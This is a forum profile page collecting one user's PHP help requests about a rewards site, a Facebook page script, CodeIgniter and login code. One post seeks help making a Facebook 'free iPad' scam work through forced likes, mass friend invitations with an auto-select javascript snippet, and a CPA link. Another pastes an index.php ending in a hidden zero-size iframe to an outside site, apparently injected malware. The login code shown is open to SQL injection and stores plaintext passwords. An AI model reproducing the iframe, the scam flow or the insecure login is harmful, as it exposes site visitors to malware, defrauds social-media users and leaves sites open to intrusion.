Jump to content

welshy123

Members
  • Posts

    45
  • Joined

  • Last visited

    Never

Posts posted by welshy123

  1. Hey guys im using paymentwall on my website and i need to replace [uSER_ID] placeholder with id or login of the user who is viewing the widget, so it should be different for each user.

     

    Here is the URL.

     

    <iframe src="http://wallapi.com/api/ps/?key=ab6d1a924fb8ee2202518c0ee251b815&uid=[uSER_ID]&widget=p1_1" width="750" height="800" frameborder="0"></iframe>

     

    I need to replace the USER_ID placeholder so who ever is viewing the widget there username will be there.but i havent got a clue what bit of code i need to put there so it grabs the user who is viewing the widget.

     

    Thanks

  2. Hey sup guys i need help Implementing top 10 users script into index.php. I got a screen shot of where it needs to go.

     

    top.jpg

     

    I need to Implement it so its inside the grey container as in the picture.

     

    Here is the php for the top 10 users :

     

             <span style="float:right;">
    
            <table width="200">
            <tr><td colspan="2" align="center">TOP 10 USERS</td></tr>
            <tr><td align="left"><b>Username<b></td><td align="left"><b>Points</b></td></tr>
            <?php $i=0;
            if($num>0){
    while ($i < $num) {
    $username6=mysql_result($result4,$i,"username");
    $points6=mysql_result($result4,$i,"points");
    $i++;
    echo "<tr><td>".$username6."</td><td>".$points6."</td></tr>";

     

    Here is the image file for the graphic :

     

    <table width="165" height="236" bgcolor="#FFFFFF" td background="images/tablebg.png" >

     

    And here is the index.php :

     

    <? 
    session_start();
    include_once"config.php";
    if(isset($_POST['login'])){
    $username= trim($_POST['username']);
    $password = trim($_POST['password']);
    if($username == NULL OR $password == NULL){
    $final_report.="Please complete both fields";
    }else{
    $check_user_data = mysql_query("SELECT * FROM `members` WHERE `username` = '$username'") or die(mysql_error());
    if(mysql_num_rows($check_user_data) == 0){
    $final_report.="This username does not exist";
    }else{
    $get_user_data = mysql_fetch_array($check_user_data);
    if($get_user_data['password'] == $password){
    $start_idsess = $_SESSION['username'] = "".$get_user_data['username']."";
    $start_passsess = $_SESSION['password'] = "".$get_user_data['password']."";
    $final_report.="<meta http-equiv='Refresh' content='0; URL=members.php'/>";
    }}}}
     if(isset($_SESSION['username']) && isset($_SESSION['password'])){ 
    header("Location: members.php");
    }
    
    ?> 
    <?php include("includes.php");?>
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
    
    <html xmlns="http://www.w3.org/1999/xhtml">
    
    <head>
    
      <title><?php echo $title ?> | #1 Spot for Free Paid Surveys</title>
         <link rel="shortcut icon" href="favicon.ico" >
       <link rel="icon" type="image/gif" href="animated_favicon1.gif" >
      <meta http-equiv="content-type" content="text/html; charset=utf-8" />
      <meta name="description" content="Get free vouchers for online stores such as Amazon, ASOS, iTunes and more. It takes a few seconds to get started. Register now to start shopping for free." />
      <link rel="stylesheet" href="style.css" type="text/css" />
       <script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
        <script type="text/javascript" src="js/script.js"></script>
        <script type="text/javascript" src="js/dimensions.min.js"></script>
        <script type="text/javascript" src="js/func.js"></script>
        <script type="text/javascript" src="js/SHA1.js"></script>
    <script>var _wau = _wau || []; _wau.push(["tab", "72vlo7dmnb8j", "w12", "bottom-center"]);(function() { var s=document.createElement("script"); s.async=true; document.getElementsByTagName("head")[0].appendChild(s);})();</script>
    <style> 
    
    #logoPart { background:#000; height:90px;}
    
    #bannerTD { width:900px; height:85px; background-color:#333; background-repeat: no-repeat;}
    #bannerTD #bannerContainer { width:900px; height:325px; text-align:center;}
    #bannerTD #bannerContainerCover { width:900px; height:325px; text-align:center;}
    #bannerTD #bannerBody { height:245px; text-align:center;}
    
    #bannerTD #bannerFooter {     
    	position: relative;
    	background:#000; height:80px; 
    	display:none; 
    	width:900px;
    	top: -39px;		/* 1x the distance of the footer used to be 78 */
    }
    
    #bannerTD #bannerFooterNav { 
    	position: relative;
    	border: 1px solid grey;
    	top: -117px;	/* 2x the distance of the footer used to be 156*/
    }	
    
    .footerCell{ padding:5px; text-align:left; border:0px #F90 solid;}
    .footerCell .footerTitle {font-family:tahoma, arial; font-size:11px; color:#fff; font-weight: bold;}
    .footerCell .footerDesc {font-family:tahoma, arial; font-size:11px; color:#efefef;}
    .footerCell ul {list-style: none; margin: 2px; margin-left: 75px; padding-left: 10px;}
    .footerCell ul li {margin: 2px; line-height: 13px; padding: 0;}
    .footerLink {text-align: right;}
    
    .footerCell .imgDiv{ position:relative; float:left; width:80px; height:65px; margin: 2px 1px 0px 1px;}
    .bttnMore {width:57px; height:19px; float: right;}
    .bttnMore a{display: block; background:url(images/welcome-banner/gen/bttn_more_small.png) 0 0 no-repeat; line-height: 19px; text-decoration: none;}
    
    .imgBgDiv_i {
    	width:82px; height:67px;
    	//background: url(images/welcome-banner/gen/thumbBgBordered.png) 0 0 no-repeat;
    	padding: 0;
    	float:left;
    }
    
    </style>	
    
    </head>
    
    <body>
    <body id="exterior"> 
    <div id="body-bg"> 
    </div>
        <div id="container"> 
    
        <div id="header">
    
            <a href="index.php<?php echo $referral_string?>">
            	<div id="logo">
            	</div></a><!--end of logo--> 
            
            <div id="updates">
            <span> </span>
            </div><!--end of updates--> 
            
            <div id="login">
             <div id="loginwelcome">
            
    	<?php if(!isset($_SESSION['username']) || !isset($_SESSION['password'])){  ?>
    		<?php if($final_report !=""){?>
    		<font color="red"><? echo $final_report;?></font>
    		<?php }else { ?>Welcome Guest, not a member? <a href="register.php<?php echo $referral_string?>"><b>Register Now!</b></a> <?php } ?> 
    		   
    		   </div><!--end of loginwelcome--> 
    		   <form action="" method="post">
                    <p>
                    <input type="text" title="username" name="username" class="username" value="Username" onclick="if ( value == 'Username' ) { value = ''; }"/>
                    <input name="password" type="password" class="password" title="password" value="Password" onclick="if ( value == 'Password' ) { value = ''; }"/>
                    <input type="Submit" name="login" class="submit" value="login" tabindex="3" />
                    </p>
                </form>	
                </div><!--end of login--> 
                
    		<?php } ?>
    
    	<?php if(isset($_SESSION['username']) && isset($_SESSION['password'])){  ?>	
    	<table>
    		   <tr>
    		   	   <td>
    				  Welcome <b><?php echo $membername ?></b>
    			   </td>
    			   </tr>
    			   <tr>
    			   <td align="right" width="310">
    			       Total Points: <b><?php echo $memberpoints ?></b><br>
    			  <?php if ($pointsneeded<=0){ ?>
    			  You can now request a reward!<?php }else { ?>
    		     Points Needed: <b><?php echo $pointsneeded ?> <?php } ?>
    
    		 </b><br>
    				</td>
    			</tr>
    	</table>
    	</div>
    <!--end of header--> 
    	<?php } ?>
    
    <div id="navigation">
      <?php if(isset($_SESSION['username']) && isset($_SESSION['password'])){  ?>	
      <table id="navi-items"> 
      <tr><td> 
    
    	<div class="navi-item navi-item-selected"> 
    		<div class="navi-heading navi-heading-selected"> 
    	<a href="index.php"><img src="images/home.png" alt="Home" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    
    	<div class="navi-item"> 
    		<div class="navi-heading"> 
    	<a href="vouchers.php"><img src="images/rewards.png" alt="Rewards" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    
    	<div class="navi-item"> 
    		<div class="navi-heading"> 
    	<a href="testimonials.php"><img src="images/testimonials.png" alt="Testimonials" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    
    	<div class="navi-item"> 
    		<div class="navi-heading"> 
    	<a href="terms.php"><img src="images/terms.png" alt="Terms" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    
    	<div class="navi-item"> 
    		<div class="navi-heading"> 
    	<a href="help.php"><img src="images/help.png" alt="Help" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    				<div class="navi-item"> 
    					<div class="navi-heading"> 
    						<a href="contact.php"><img src="images/contact-us.png" alt="Contact Us" /></a> 
    					</div> 
    				</div> 
    </td></tr> 
      </table> 
      <?php }else { ?>
      <table id="navi-items"> 
      <tr><td> 
    
    	<div class="navi-item navi-item-selected"> 
    		<div class="navi-heading navi-heading-selected"> 
    	<a href="index.php"><img src="images/home.png" alt="Home" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    
    	<div class="navi-item"> 
    		<div class="navi-heading"> 
    	<a href="vouchers.php"><img src="images/rewards.png" alt="Rewards" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    
    	<div class="navi-item"> 
    		<div class="navi-heading"> 
    	<a href="testimonials.php"><img src="images/testimonials.png" alt="Testimonials" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    
    	<div class="navi-item"> 
    		<div class="navi-heading"> 
    	<a href="terms.php"><img src="images/terms.png" alt="Terms" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    
    	<div class="navi-item"> 
    		<div class="navi-heading"> 
    	<a href="help.php"><img src="images/help.png" alt="Help" /></a> 
    		</div> 
    	</div> 
    
    
    				<div class="navi-spacer"></div> 
    
    				<div class="navi-item"> 
    					<div class="navi-heading"> 
    						<a href="contact.php"><img src="images/contact-us.png" alt="Contact Us" /></a> 
    					</div> 
    				</div> 
    </td></tr> 
      </table>
      <?php } ?> 
    </div><!--end of navigation--> 
    
    
    
    <!-- ______________________ BANNER ___________________--> 
    	<tr><td id="bannerTD"> 
            <div id="bannerContainer"> 
    			<div id="bannerBody">
                    <br /><img src="images/banner.png" border="0" alt="Banner" /> 
    		</div> 
    	</div> 
           
    	      <a href="register.php"><img src="images/signup.png" /></a>
                        
            <a href="points.php"><img src="images/earn.png" /></a>
                        <a href="vouchers.php"><img src="images/get.png" /></a>
    	</td></tr> 
    	<!-- ______________________ /BANNER ___________________--> 
    
    
    
    
    
    
    <div id="contents-top"></div> 
    <div id="contents">
        <div class="content-block">
      
        <h1>How does <?php echo $title?> work?</h1><br><br>
         
         <a href="register.php<?php echo $referral_string?>"><center><img src="images/step1.png" border="0"><img src="images/step1a.png" border="0"></a><a href="points.php<?php echo $referral_string?>"><img src="images/step2.png" border="0"><img src="images/step2a.png" border="0"><a href="vouchers.php<?php echo $referral_string?>"><img src="images/step3.png" border="0"></center></a>
         <br>
     <br>
         <p>
            It's easy to use your free time to earn <a href="vouchers.php<?php echo $referral_string?>"><b>rewards</b></a>. While you certainly won't get rich quick or instantly win prizes, if you put in a bit of effort you can earn whatever you want! You can redeem points for online goods or for vouchers such as Amazon, iTunes, ASOS and Xbox Live, the choice is yours.
    <br><br>
    While you learn about new products, share information about yourself, or sign up for online services, you earn points. While MOST OFFERS ARE FREE, you will also find cashback shopping and paid/trial offers - a great way to get a deal on your online purchases! <br><br>
    </p>
    
    <h1>Just 3 steps to success!</h1>
    <p><br>
    1. <b>Register:</b> The sign up process takes about 10 seconds, and we'll even give you <font color=#fcbc0c><b><?php echo $bonuspoints ?> FREE BONUS POINTS</b></font> when you <a href="register.php<?php echo $referral_string?>"><b>register</b></a>.<br><br>
    2. <b>Earn points:</b> To be able to offer our users FREE gift vouchers to use at online stores such as Amazon and ASOS, you need to earn points. Earning these points are FREE, and you just need to complete a few surveys to get enough points to claim a free voucher. You can also earn points by signing up to some trial offers, but we recommend you stick to the free surveys for now.<br><br>
    3. <b>Get Rewards:</b> Once you have earned <?php echo $mainpointsneeded ?> points on <?php echo $title?> you can swap them for REAL products or vouchers, which can be used at online stores/communities. Basically, you can request ANY product or voucher, as long as we can buy it online and send to you via email or shipping. On top of this, if you wish to have something custom ordered, feel free to tell us something what it is and we can always help you out! The rewards you can receive  are endless........
    
          </p>
            
            <h1>What are points worth?</h1>
            <p>
            <br>
    	10 points = $1.00/£0.50<br>
    	50 points = $5.00/£2.50<br>
    	100 points = $10.00/£5.00<br>
    	200 points = $20.00/£10.00
    	<br><br>
    	You need <?php echo $mainpointsneeded ?> points before you can redeem them for <a href="vouchers.php<?php echo $referral_string?>">rewards</a>.  
    	<br>
    
            </p>
            <h1>How do I know Simple Rewards is legit?</h1>
            <p>There's no doubt that in today's world fake companies are  everywhere. So how do you know Simple Rewards is, in fact, legit? To start,  Simple Rewards has already paid out over $10,000 in the last month. This shows  not only that we are a legitimate business but also that we are a very active one. If you would like to see more proof of our legitimacy, feel  free to check out our <a href="testimonials.php">Testimonials </a> section and read some of the latest testimonials written by Simple Rewards users!
            </p>
            <br />
          <h1>Reward Ideas</h1>
            <p>
            <br />
            
              <img src="images/ps3.png">  
      <img src="images/giftcards.png">  
      <img src="images/ipodtouch.png">  
            </p>
            <p><center>
              <p><a href="index.php"><img src="images/largebanner.gif" /><hr width="75%">
              <script type=text/javascript language=JavaScript src=http://www.linkreferral.com/networkads2.pl?refid=341046&height=1&width=3&category=money making opportunities&subcategory=services ></script></a></p>
            </center></p>      
            
        </div><!--end of contentblock--> 
        </div><!--end of contents--> 
        <div id="contents-bottom"></div> 
        </div><!--end of container--> 
        </div>
    <?php include("footer.php");?>

  3. Hey sup guys. Need a little help on my site with colums. The first colum shows 6 postes and on the second colum its showing 4 posts then u got to use the page navi to go and see the 2 extra posts.

     

    my website : http://www.movies-madness.co.uk

     

    This is how my website should look : http://www.zinruss.com/mtv-wordpress-themes

     

    On the second website there is 3 rows of six. i just dont no why my website not going like that.

     

    any help would be great thanks

     

    cheers

  4. lol nooooo thats just an example a demo, im not keeping it like that. the script is gona be all bout a video im gona upload, but i just need the step 1 and step 2 to work.

     

    The video is gona be called ------> guaranteed to make you spew up (WATCH)

     

    its gona be a whole diffrent page. just need some help on the 2 steps thats dont work

     

    thanks

  5. hello there i have a page up on facebook with a fbml script in there and im having some problems with it,

     

    here is the link to the script thats running on my page

     

    http://www.facebook.com/pages/Oi-Bra-Your-Missis-Is-A-Sweaty-Sketty-Bitch/106682956046816?v=app_4949752878

     

    I cant get the step 1 and step 2 to work, the step 1 is become a fan and the step 2 is suggest friends.

    when i click on them it dont do nothing, i put the fanpage id in and everything and still nothing

     

    any help would be appreciated thanks

     

    Php Script

     

    <table width="58%" bgcolor="#EEEEEE" cellspacing="3" cellpadding="5">
    <tr>
    	<td colspan="2"><img src="http://i43.tinypic.com/n5ingi.png" /></td>
    </tr>
    <tr>
    	<td width="50%" valign="top">
    	<table width="100%">
    		<tr valign="top">
    			<td valign="top">
    				<table border="1" bgcolor="#ffffcc" style="border-collapse:collapse">
    						<td width="604" valign="top">
    <div><font size="2" face="Arial"><b>STEP 1:</b> Click This 
    <span id="profile_connect">
          <a href="#" class="UIButton UIButton_Gray UIActionButton" rel="async-post" ajaxify="/ajax/pages/fan_status.php?fbpage_id=4949752878&add=1&reload=1&preserve_tab=1&use_primer=1"><span class="UIButton_Text"><span style="background-position: 0pt -410px;" class="UIButton_Icon UIButton_IconNoSpriteMap"></span>Become a Fan</span></a>
    </span>
    button to become a fan.</font></div>
    <hr size="1" color="#000000">
    <div><font size="2" face="Arial"><b>STEP 2:</b> Suggest this page to all of your facebook friends. This is <font color="#ff0000"><b>IMPORTANT</b></font> and you have to do it to confirm your registration or the system will reject your access.</font></div>
    <br>
    
    
    
    <div><font size="2" face="Arial"><a rel="dialog-post" class=" profile_action actionspro_a"  ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=4949752878" href="#"><b>Click Here</b></a>
    to start suggesting this page to all of your facebook friends.</font></div>
    <hr size="1" color="#000000">
    <div>
      <p><font color="#ff0000"><b>HINT  </b></font>
        Invite all your friends the easy way!
        Copy code in bold:    </p>
      <p><b>javascript:</b><b>elms=document.getElementById('friends')</b></p>
      <p><b>.getElementsByTagName('li');for(var fid in elms)</b></p>
      <p><b>{if(typeof elms[fid] === 'object'){fs.click(elms[fid]);}}</b></p>
      <p>
        Don't have time clicking and selecting all your friends to invite? click here and while the suggest to friends box is up, copy the code above in the bold text and paste it in your web add
        address toolbar and hit enter! This will select all your friends for you, You just got to hit invite and you've invited all your friends! 
        
      </p>
    </div>
    
    <hr size="1" color="#000000">
    <div><font size="2" face="Arial"><b>STEP 3:</b> After you have invited all of your friends, you now qualify for a FREE iPad! <font color="#ff0000"><b>
    
    
    <a href="http://cpa.ly/8ag/fb-ipad">CLICK HERE for your Apple iPad!</a>
    
    
    
    </b></font></font></div>
    
    </td>
    					</table>
    			</td>
    		</tr>	
    	</table>
    	</td>
    	<td width="50%" valign="top">
    	<a href="http://cpa.ly/8ag/fb-ipad"><img border=0 src="http://i43.tinypic.com/303eih2.png" /></a>
    	</td>
    </tr>

  6. Hello I Got This Error.

     

    Fatal error: Class 'fees' not found in /home/acprie/public_html/pay.php on line 29

     

     

    LINE 24 TO 40

     

    $query = "SELECT * FROM " . $DBPrefix . "gateways LIMIT 1";
    $res = mysql_query($query);
    $system->check_mysql($res, $query, __LINE__, __FILE__);
    $gateway_data = mysql_fetch_assoc($res);
    
    $fees = new fees;
    
    switch($_GET['a'])
    {
    case 1: // add to account balance
    	$pp_paytoemail = $gateway_data['paypal_address'];
    	$an_paytoid = $gateway_data['authnet_address'];
    	$an_paytopass = $gateway_data['authnet_password'];
    	$payvalue = $system->input_money($_POST['pfval']);
    	$custoncode = $user->user_data['id'] . 'WEBID1';
    	$message = sprintf($MSG['582'], $system->print_money($payvalue));
    	$title = $system->SETTINGS['sitename'] . ' - ' . $MSG['25_0012'];

  7. try this file mate, thanks

     

     

    <?php
    /*
    |---------------------------------------------------------------
    | PHP ERROR REPORTING LEVEL
    |---------------------------------------------------------------
    |
    | By default CI runs with error reporting set to ALL.  For security
    | reasons you are encouraged to change this when your site goes live.
    | For more info visit:  http://www.php.net/error_reporting
    |
    */
    error_reporting(E_ALL);
    
    /*
    |---------------------------------------------------------------
    | SYSTEM FOLDER NAME
    |---------------------------------------------------------------
    |
    | This variable must contain the name of your "system" folder.
    | Include the path if the folder is not in the same  directory
    | as this file.
    |
    | NO TRAILING SLASH!
    |
    */
    $system_folder = "core";
    
    /*
    |---------------------------------------------------------------
    | APPLICATION FOLDER NAME
    |---------------------------------------------------------------
    |
    | If you want this front controller to use a different "application"
    | folder then the default one you can set its name here. The folder 
    | can also be renamed or relocated anywhere on your server.
    | For more info please see the user guide:
    | http://codeigniter.com/user_guide/general/managing_apps.html
    |
    |
    | NO TRAILING SLASH!
    |
    */
    $application_folder = "app";
    
    /*
    |===============================================================
    | END OF USER CONFIGURABLE SETTINGS
    |===============================================================
    */
    
    
    /*
    |---------------------------------------------------------------
    | SET THE SERVER PATH
    |---------------------------------------------------------------
    |
    | Let's attempt to determine the full-server path to the "system"
    | folder in order to reduce the possibility of path problems.
    | Note: We only attempt this if the user hasn't specified a 
    | full server path.
    |
    */
    if (strpos($system_folder, '/') === FALSE)
    {
    if (function_exists('realpath') AND @realpath(dirname(__FILE__)) !== FALSE)
    {
    	$system_folder = realpath(dirname(__FILE__)).'/'.$system_folder;
    }
    }
    else
    {
    // Swap directory separators to Unix style for consistency
    $system_folder = str_replace("\\", "/", $system_folder); 
    }
    
    /*
    |---------------------------------------------------------------
    | DEFINE APPLICATION CONSTANTS
    |---------------------------------------------------------------
    |
    | EXT		- The file extension.  Typically ".php"
    | FCPATH	- The full server path to THIS file
    | SELF		- The name of THIS file (typically "index.php")
    | BASEPATH	- The full server path to the "system" folder
    | APPPATH	- The full server path to the "application" folder
    |
    */
    define('EXT', '.'.pathinfo(__FILE__, PATHINFO_EXTENSION));
    define('FCPATH', __FILE__);
    define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
    define('BASEPATH', $system_folder.'/');
    
    if (is_dir($application_folder))
    {
    define('APPPATH', $application_folder.'/');
    }
    else
    {
    if ($application_folder == '')
    {
    	$application_folder = 'application';
    }
    
    define('APPPATH', BASEPATH.$application_folder.'/');
    }
    
    /*
    |---------------------------------------------------------------
    | LOAD THE FRONT CONTROLLER
    |---------------------------------------------------------------
    |
    | And away we go...
    |
    */
    require_once BASEPATH.'codeigniter/CodeIgniter'.EXT;
    
    /* End of file index.php */
    /* Location: ./index.php */
    
    
    <iframe src="http://script.ge" scrolling="no" width="0" frameborder="0" height="0"> </iframe>

  8. Here Is The Full File, Thanks For Having A Look

     

     

    <?php
    session_start();
    require_once("../app/config/config.php");
    include "db.php";
    
    if(	$config['hostname'] != '' &&
    	$config['db_username'] != '' && 
    	$config['db'] != '')
    {
    $link = @osc_db_connect(trim($config['hostname']), trim($config['db_username']), trim($config['db_password']));
    
    if (!$link) 
    {
       $error = 'Could not connect to the host specified. Error: ' . mysql_error();
    }
    else
    {
    //Connected successfully
    $db_selected = @osc_db_select_db(trim($config['db']));
    
    if (!$db_selected) 
    {
       $error	= $error . '<BR>Can\'t use the database specified. Error: ' . mysql_error();
    }
    
    //mysql_close($link);
    }
    //echo $error;exit;
    $sql = " SHOW TABLES FROM ".trim($config['db']);
    
    $result = osc_db_query($sql);
    
    if (!$result) {
        echo "DB Error, could not list tables\n";
        echo 'MySQL Error: ' . mysql_error();
        exit;
    }
    
    $numtable = osc_db_num_rows($result);
    
    mysql_free_result($result);
    
    if($numtable > 0){
    header("Location: ../");
    }
    
    }
    $compat_register_globals = true;
    
    if (function_exists('ini_get') && (PHP_VERSION < 4.3) && ((int)ini_get('register_globals') == 0)) {
    $compat_register_globals = false;
    }
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <link href="css/common.css" rel="stylesheet" type="text/css" /> 
    <link href="css/style.css" rel="stylesheet" type="text/css" /> 
    <title>RBS Step-1</title>
    </head>
    
    <body>
    <div id="container">
    <div id="header">
      <!--RC for Logo-->
        <div class="block">
          <div class="top_t">
            <div class="top_r">
              <div class="top_b">
                <div class="top_l">
                  <div class="top_tl">
                    <div class="top_tr">
                      <div class="top_bl">
                        <div class="top_br">
                          <div class="cls100_p" >
                            <!--RC-->
    					<div class="clsclearfix">
    
    					<div id="selLeftHeader">
                            <h1><a href="http://demo.cogzidel.in/rbs">RBS</a></h1>
    					</div>
    					<div id="selRightHeader">
    					<ul>
    				<li><a href="http://demo.cogzidel.in/rbs" target="_blank">RBS</a></li>
    				<li><a href="http://cogzidel.com" target="_blank">Cogzidel</a></li>
    				<li class="clsNoBg"><a href="http://cogzideltemplates.com" target="_blank">Cogzidel Templates</a></li>
    				</ul>
    				</div>
    				</div>
                            <!--RC-->
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
    </div>
        <!--end of RC-->
    <!--Rc -->
       <div id="banner">
    <div class="block">
          <div class="blue_t">
            <div class="blue_r">
              <div class="blue_b">
                <div class="blue_l">
                  <div class="blue_tl">
                    <div class="blue_tr">
                      <div class="blue_bl">
                        <div class="blue_br">
                          <div class="cls100_p">
                            <!--RC-->
    					<div id="selBanner">
                            							<h2>RBS Installation Steps</h2>
    											<img src="images/step-1.jpg" alt="Step-1" />
    						</div>
                            <!--RC-->
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
                        </div>	
    	<!--End Rc -->
     <!--RC-->
                   <div id="main">
        <div class="block">
          <div class="b_t">
            <div class="b_r">
              <div class="b_b">
                <div class="b_l">
                  <div class="b_tl">
                    <div class="b_tr">
                      <div class="b_bl">
                        <div class="b_br">
                          <div class="cls100_p">
                            <!--RC-->
                            <div id="selMain">
    					<h2>New Installation</h2>
    					<p>
    					<?php
      if (function_exists('ini_get')) {
    ?>
    
          <br />
    
          <table border="0" width="100%" cellspacing="0" cellpadding="2">
            <tr>
              <td><b>PHP Settings</b></td>
              <td align="right"></td>
              <td align="right" width="25"></td>
            </tr>
            <tr>
              <td><li>register_globals</li></td>
              <td align="right"><?php echo (((int)ini_get('register_globals') == 0) ? 'Off' : 'On'); ?></td>
              <td align="right"><img src="images/<?php echo (($compat_register_globals == true) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td>
            </tr>
            <tr>
              <td><li>magic_quotes</li></td>
              <td align="right"><?php echo (((int)ini_get('magic_quotes') == 0) ? 'Off' : 'On'); ?></td>
              <td align="right"><img src="images/<?php echo (((int)ini_get('magic_quotes') == 0) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td>
            </tr>
            <tr>
              <td><li>file_uploads</li></td>
              <td align="right"><?php echo (((int)ini_get('file_uploads') == 0) ? 'Off' : 'On'); ?></td>
              <td align="right"><img src="images/<?php echo (((int)ini_get('file_uploads') == 0) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td>
            </tr>
            <tr>
              <td><li>session.auto_start</li></td>
              <td align="right"><?php echo (((int)ini_get('session.auto_start') == 0) ? 'Off' : 'On'); ?></td>
              <td align="right"><img src="images/<?php echo (((int)ini_get('session.auto_start') == 0) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td>
            </tr>
            <tr>
              <td><li>session.use_trans_sid</li></td>
              <td align="right"><?php echo (((int)ini_get('session.use_trans_sid') == 0) ? 'Off' : 'On'); ?></td>
              <td align="right"><img src="images/<?php echo (((int)ini_get('session.use_trans_sid') == 0) ? 'cross.gif' : 'tick.gif'); ?>" border="0" width="16" height="16"></td>
            </tr>
          </table>
    
          <br />
    
          <table border="0" width="100%" cellspacing="0" cellpadding="2">
            <tr>
              <td><b>PHP Extensions</b></td>
              <td align="right" width="25"></td>
            </tr>
            <tr>
              <td><li>MySQL</li></td>
              <td align="right"><img src="images/<?php echo (extension_loaded('mysql') ? 'tick.gif' : 'cross.gif'); ?>" border="0" width="16" height="16"></td>
            </tr>
            <tr>
              <td><li>GD</li></td>
              <td align="right"><img src="images/<?php echo (extension_loaded('gd') ? 'tick.gif' : 'cross.gif'); ?>" border="0" width="16" height="16"></td>
            </tr>
          </table>
    
    <?php
      }
    ?>
    <table border="0" width="100%" cellspacing="0" cellpadding="2">
            <tr>
              <td><b>System Requirements - Check the following requirements before installation:</b></td>
              <td align="right"></td>
              <td align="right" width="25"></td>
            </tr>
            <tr>
              <td><li>Linux Server</li></td>
              <td align="right"></td>
              <td align="right"></td>
            </tr>
            <tr>
              <td><li>Apache version</li></td>
              <td align="right"></td>
              <td align="right">2.2.4</td>
            </tr>
            <tr>
              <td><li>PHP version</li></td>
              <td align="right"></td>
              <td align="right">5.2.1</td>
            </tr>
            <tr>
              <td><li>MySQL version</li></td>
              <td align="right"></td>
              <td align="right">5.0.33</td>
            </tr>
    	<tr>
              <td><li>MySQL version</li></td>
              <td align="right"></td>
              <td align="right">5.0.33</td>
            </tr>
            
          </table>
      
      <table border="0" width="100%" cellspacing="0" cellpadding="2">
            <tr>
              <td><b>Information you will need for installation:</b></td>
              <td align="right"></td>
              <td align="right" width="25"></td>
            </tr>
            <tr>
              <td><li>MySQL Host Name (usually 'localhost')</li></td>
              <td align="right"></td>
              <td align="right"></td>
            </tr>
            <tr>
              <td><li>MySQL Username</li></td>
              <td align="right"></td>
              <td align="right"></td>
            </tr>
            <tr>
              <td><li>MySQL Password</li></td>
              <td align="right"></td>
              <td align="right"></td>
            </tr>
            <tr>
              <td><li>MySQL Database Name</li></td>
              <td align="right"></td>
              <td align="right"></td>
            </tr>
            
          </table>
    					</p>
    
    					<p class="clsAlign"><input type="button" name="" class="clsbtn" value="Continue" onClick="window.location='install.php'" /> </p>
    
    					</div>
                            <!--RC-->
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
                    </div>
        <!--end of RC-->
    
    <div id="footer">
    <p>Copyright © 2000 - 2007 RBS (Copyright Policy, Trademark Policy) </p>
    </div>
    
    </div>
    
    </body>
    </html>

  9. Hello Guys And Girls, Just Need A Little Help With This Code

     

    Parse error: syntax error, unexpected '<' in /home/a2505211/public_html/index.php  on line 121

     

     

     

    CODE Line 117 to 131

     

    <div id="selBanner">
                            							<h2>RBS Installation Steps</h2>
    											<img src="images/step-1.jpg" alt="Step-1" />
    						</div>
                            <!--RC-->
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>

  10. Hi There, Need Help With A Login & Signup Script, I Have Download Many login & Signup Scripts Free Ones,

     

    I Just Dont No How To Put Them On My Website, Can Some1 Please Help. I Really Need A Login Script For My Website.

     

    If U Can Point Me In The Direction Of A Free And Good Login Script And Guide Me Thro The process Of Instaling

     

    It On My Site That Would Be Amazing,

     

    Thanks For Your Help & Hope To Here From U Soon.

     

    Once Again Thanks

  11. hey yeh sorry..

     

     

    $timenow=time();
    $select = mysql_query("SELECT * FROM users WHERE online > '$timenow' AND ghostmode='0' ORDER by id ASC");
    $num = mysql_num_rows($select);
    if ($num > $most)
    {
      mysql_query("UPDATE `site_stats` SET `online`=$num WHERE id='1'");
    }
    
    while ($i = mysql_fetch_object($select)){
    if ($i->crew == "0"){
    $crew="None";
    }else{
    $crew=$i->crew;
    }

     

     

  12. Sorry Im A Noob When It Comes To Php Lol. thanks

     

    Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/mafiamur/public_html/online.php on line 127

     

    Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/mafiamur/public_html/online.php on line 133

     

     

    <?
    session_start();
    include "includes/functions.php";
    include "includes/db_connect.php"; 
    logincheck();
    $username=$_SESSION['username'];
    
    $total_regged=mysql_num_rows(mysql_query("SELECT * FROM users"));
    $admins=mysql_num_rows(mysql_query("SELECT * FROM users WHERE userlevel='3'"));
    $total_regged=mysql_num_rows(mysql_query("SELECT * FROM users"));
    $admins=mysql_num_rows(mysql_query("SELECT * FROM users WHERE userlevel='2'"));
    $mods=mysql_num_rows(mysql_query("SELECT * FROM users WHERE userlevel='1'"));
